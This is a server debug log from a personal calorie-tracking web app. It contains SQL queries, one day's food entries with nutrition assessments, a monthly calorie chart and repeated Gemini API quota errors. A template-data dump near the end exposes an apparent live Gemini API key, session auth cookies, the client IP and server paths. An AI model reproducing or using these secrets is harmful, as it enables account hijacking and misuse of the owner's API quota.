    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T04:51:50.638Z server-connect:output restrict: undefined
2025-12-17T04:51:50.639Z server-connect:app Executing action step single
2025-12-17T04:51:50.639Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T04:51:50.640Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T04:51:50.640Z server-connect:app Executing action step select
2025-12-17T04:51:50.640Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T04:51:50.640Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be focused on post-workout recovery with a protein supplement. However, the overall dietary intake seems very limited, with few food items listed. Continued adherence to this pattern may hinder muscle development and optimal fat loss.",
    bad_points: [
      'Very limited food variety and quantity, suggesting low overall nutrient intake.',
      'Lack of substantial meals to support energy levels and muscle repair.',
      'No clear indication of a balanced macronutrient profile across the day.',
      'Meal timing is not comprehensively represented.'
    ],
    good_points: [
      'Post-workout protein intake is addressed with whey.',
      'Inclusion of healthy fats from walnuts.'
    ],
    suggestions: [
      'Incorporate a variety of protein sources throughout the day, including lean meats, fish, legumes, and dairy.',
      'Ensure adequate intake of complex carbohydrates from whole grains, fruits, and vegetables to fuel workouts and aid recovery.',
      'Include sources of fiber and micronutrients through a wider range of plant-based foods.',
      'Distribute meals and snacks more evenly to maintain consistent energy and support muscle protein synthesis.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady slight loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T04:51:50.641Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  }
]
2025-12-17T04:51:50.641Z server-connect:app Executing action step setvalue
2025-12-17T04:51:50.641Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T04:51:50.641Z server-connect:output var_total: 391
2025-12-17T04:51:50.641Z server-connect:app Executing action step setvalue
2025-12-17T04:51:50.641Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T04:51:50.641Z server-connect:output var_consumed: 16
2025-12-17T04:51:50.641Z server-connect:app Executing action step setvalue
2025-12-17T04:51:50.641Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T04:51:50.641Z server-connect:output var_deficit: 2009
2025-12-17T04:51:50.641Z server-connect:app Executing action step custom
2025-12-17T04:51:50.641Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T04:51:50.643Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '391',
    surplus_or_deficit: '2009',
    status_flag: 2
  }
]
2025-12-17T04:51:51.193Z server-connect:app Executing action step identify
2025-12-17T04:51:51.193Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:51.193Z server-connect:output identity: 1
2025-12-17T04:52:15.177Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T04:52:15.177Z server-connect:app Executing action step identify
2025-12-17T04:52:15.177Z server-connect:app options: { provider: 'security' }
2025-12-17T04:52:15.177Z server-connect:output identity: 1
2025-12-17T04:52:15.177Z server-connect:app Executing action step restrict
2025-12-17T04:52:15.177Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:52:15.178Z server-connect:output restrict: undefined
2025-12-17T04:52:15.178Z server-connect:app Executing action step processWithGemini
2025-12-17T04:52:15.178Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 44.766412963s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-flash\",\n              \"location\": \"global\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"44s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-17T04:52:15.262Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 44.766412963s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-flash\",\n              \"location\": \"global\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"44s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T04:52:15.262Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 44.766412963s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-flash\",\n              \"location\": \"global\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"44s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T04:52:24.313Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T04:52:24.313Z server-connect:app Executing action step identify
2025-12-17T04:52:24.313Z server-connect:app options: { provider: 'security' }
2025-12-17T04:52:24.314Z server-connect:output identity: 1
2025-12-17T04:52:24.314Z server-connect:app Executing action step restrict
2025-12-17T04:52:24.314Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:52:24.314Z server-connect:output restrict: undefined
2025-12-17T04:52:24.314Z server-connect:app Executing action step processWithGemini
2025-12-17T04:52:24.314Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 35.636288122s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"35s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-17T04:52:24.397Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 35.636288122s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"35s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T04:52:24.397Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 35.636288122s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"35s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T04:52:35.783Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T04:52:35.783Z server-connect:app Executing action step identify
2025-12-17T04:52:35.783Z server-connect:app options: { provider: 'security' }
2025-12-17T04:52:35.783Z server-connect:output identity: 1
2025-12-17T04:52:35.783Z server-connect:app Executing action step restrict
2025-12-17T04:52:35.783Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:52:35.784Z server-connect:output restrict: undefined
2025-12-17T04:52:35.784Z server-connect:router Render template layouts/main
2025-12-17T04:52:35.784Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T04:52:56.234Z server-connect:app Executing action step identify
2025-12-17T04:52:56.234Z server-connect:app options: { provider: 'security' }
2025-12-17T04:52:56.234Z server-connect:output identity: 1
2025-12-17T04:52:59.190Z server-connect:app Executing action step identify
2025-12-17T04:52:59.191Z server-connect:app options: { provider: 'security' }
2025-12-17T04:52:59.191Z server-connect:output identity: 1
2025-12-17T04:54:17.520Z server-connect:app Executing action step identify
2025-12-17T04:54:17.520Z server-connect:app options: { provider: 'security' }
2025-12-17T04:54:17.520Z server-connect:output identity: 1
2025-12-17T04:54:20.448Z server-connect:app Executing action step identify
2025-12-17T04:54:20.449Z server-connect:app options: { provider: 'security' }
2025-12-17T04:54:20.449Z server-connect:output identity: 1
2025-12-17T05:09:56.227Z server-connect:app Executing action step identify
2025-12-17T05:09:56.227Z server-connect:app options: { provider: 'security' }
2025-12-17T05:09:56.228Z server-connect:output identity: 1
2025-12-17T05:09:58.209Z server-connect:app Executing action step identify
2025-12-17T05:09:58.209Z server-connect:app options: { provider: 'security' }
